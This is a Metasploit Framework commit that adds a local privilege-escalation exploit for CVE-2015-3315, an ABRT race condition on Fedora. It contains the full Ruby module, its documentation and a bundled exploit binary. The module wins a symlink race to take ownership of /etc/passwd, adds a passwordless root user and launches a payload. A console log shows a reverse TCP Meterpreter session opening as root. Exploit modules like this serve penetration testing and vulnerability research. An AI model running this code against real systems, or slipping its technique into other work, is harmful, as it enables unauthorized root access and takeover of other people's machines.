mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Land #9422 abrt race condition priv esc on linux
This commit is contained in:
commit
285b329ee1
BIN
data/exploits/cve-2015-3315/raceabrt
Normal file
BIN
data/exploits/cve-2015-3315/raceabrt
Normal file
Binary file not shown.
@ -0,0 +1,73 @@
|
||||
## Description
|
||||
|
||||
This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
A race condition in ABRT allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes.
|
||||
|
||||
This module has been tested successfully on ABRT packaged versions:
|
||||
|
||||
* 2.1.5-1.fc19 on Fedora Desktop 19 x86_64
|
||||
* 2.2.1-1.fc19 on Fedora Desktop 19 x86_64
|
||||
* 2.2.2-2.fc20 on Fedora Desktop 20 x86_64
|
||||
|
||||
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. Do: `use exploit/linux/local/abrt_raceabrt_priv_esc`
|
||||
4. Do: `set SESSION [SESSION]`
|
||||
5. Do: `check`
|
||||
6. Do: `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Username for the new UID=0 user (default: random)
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/abrt_raceabrt_priv_esc
|
||||
msf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/abrt_raceabrt_priv_esc) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.244:4444
|
||||
[*] Writing '/tmp/.C17d3UYQy' (64240 bytes) ...
|
||||
[*] Trying to own '/etc/passwd' - This might take a few minutes (Timeout: 900s) ...
|
||||
[+] Success! '/etc/passwd' is writable
|
||||
[*] Adding pauITBusGM user to /etc/passwd ...
|
||||
[*] Writing '/tmp/.u8zOz4c' (207 bytes) ...
|
||||
[*] Sending stage (857352 bytes) to 172.16.191.137
|
||||
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:38938) at 2018-02-03 21:29:56 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localdomain
|
||||
OS : Fedora 20 (Linux 3.19.8-100.fc20.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
240
modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb
Normal file
240
modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb
Normal file
@ -0,0 +1,240 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ABRT raceabrt Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on Fedora systems with
|
||||
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
|
||||
as the crash handler.
|
||||
|
||||
A race condition allows local users to change ownership of arbitrary
|
||||
files (CVE-2015-3315). This module uses a symlink attack on
|
||||
'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,
|
||||
then adds a new user with UID=0 GID=0 to gain root privileges.
|
||||
Winning the race could take a few minutes.
|
||||
|
||||
This module has been tested successfully on ABRT packaged version
|
||||
2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop
|
||||
19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64.
|
||||
|
||||
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tavis Ormandy', # Discovery and C exploit
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Apr 14 2015',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-3315' ],
|
||||
[ 'EDB', '36747' ],
|
||||
[ 'BID', '75117' ],
|
||||
[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
|
||||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
|
||||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
|
||||
[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
|
||||
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
|
||||
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
|
||||
[ 'URL', 'https://access.redhat.com/articles/1415483' ],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
|
||||
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
def timeout
|
||||
datastore['TIMEOUT']
|
||||
end
|
||||
|
||||
def check
|
||||
if cmd_exec('lsattr /etc/passwd').include? 'i'
|
||||
vprint_error 'File /etc/passwd is immutable'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
|
||||
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
|
||||
vprint_error 'System is NOT configured to use ABRT for crash reporting'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'System is configured to use ABRT for crash reporting'
|
||||
|
||||
if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
|
||||
vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'System does not appear to have been patched'
|
||||
|
||||
unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
|
||||
vprint_error "Directory '/var/tmp/abrt' does NOT exist"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Directory '/var/tmp/abrt' exists"
|
||||
|
||||
if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
|
||||
vprint_error 'abrt-ccp service NOT running'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'abrt-ccpp service is running'
|
||||
|
||||
abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1]
|
||||
unless abrt_version.blank?
|
||||
vprint_status "System is using ABRT package version #{abrt_version}"
|
||||
end
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check != CheckCode::Detected
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
@chown_file = '/etc/passwd'
|
||||
|
||||
if datastore['USERNAME'].blank?
|
||||
@username = rand_text_alpha rand(7..10)
|
||||
else
|
||||
@username = datastore['USERNAME']
|
||||
end
|
||||
|
||||
# Upload Tavis Ormandy's raceabrt exploit:
|
||||
# - https://www.exploit-db.com/exploits/36747/
|
||||
# Cross-compiled with:
|
||||
# - i486-linux-musl-cc -static raceabrt.c
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
|
||||
fd = ::File.open path, 'rb'
|
||||
executable_data = fd.read fd.stat.size
|
||||
fd.close
|
||||
|
||||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||
executable_path = "#{base_dir}/#{executable_name}"
|
||||
upload_and_chmodx executable_path, executable_data
|
||||
|
||||
# Change working directory to base_dir
|
||||
cmd_exec "cd '#{base_dir}'"
|
||||
|
||||
# Launch raceabrt executable
|
||||
print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
|
||||
output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
|
||||
# Check if we own /etc/passwd
|
||||
unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'
|
||||
fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"
|
||||
end
|
||||
|
||||
print_good "Success! '#{@chown_file}' is writable"
|
||||
|
||||
# Add new user with no password
|
||||
print_status "Adding #{@username} user to #{@chown_file} ..."
|
||||
cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
# Execute payload executable
|
||||
vprint_status 'Executing payload...'
|
||||
cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
end
|
||||
|
||||
# Reinstate /etc/passwd root ownership and remove new user
|
||||
root_owns_passwd = false
|
||||
new_user_removed = false
|
||||
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
# Reinstate /etc/passwd root ownership
|
||||
session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""
|
||||
|
||||
# Remove new user
|
||||
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""
|
||||
|
||||
# Wait for clean up
|
||||
Rex.sleep 5
|
||||
|
||||
# Check root ownership
|
||||
passwd_stat = session.fs.file.stat(@chown_file).stathash
|
||||
if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0
|
||||
root_owns_passwd = true
|
||||
end
|
||||
|
||||
# Check for new user in /etc/passwd
|
||||
passwd_contents = session.fs.file.open(@chown_file).read.to_s
|
||||
unless passwd_contents.include? "#{@username}:"
|
||||
new_user_removed = true
|
||||
end
|
||||
elsif session.type.to_s.eql? 'shell'
|
||||
# Reinstate /etc/passwd root ownership
|
||||
session.shell_command_token "chown root:root #{@chown_file}"
|
||||
|
||||
# Remove new user
|
||||
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"
|
||||
|
||||
# Check root ownership
|
||||
passwd_owner = session.shell_command_token "ls -l #{@chown_file}"
|
||||
if passwd_owner.to_s.include? 'root'
|
||||
root_owns_passwd = true
|
||||
end
|
||||
|
||||
# Check for new user in /etc/passwd
|
||||
passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"
|
||||
unless passwd_user.to_s.include? "#{@username}:"
|
||||
new_user_removed = true
|
||||
end
|
||||
end
|
||||
|
||||
unless root_owns_passwd
|
||||
print_warning "Could not reinstate root ownership of #{@chown_file}"
|
||||
end
|
||||
|
||||
unless new_user_removed
|
||||
print_warning "Could not remove user '#{@username}' from #{@chown_file}"
|
||||
end
|
||||
rescue => e
|
||||
print_error "Error during cleanup: #{e.message}"
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user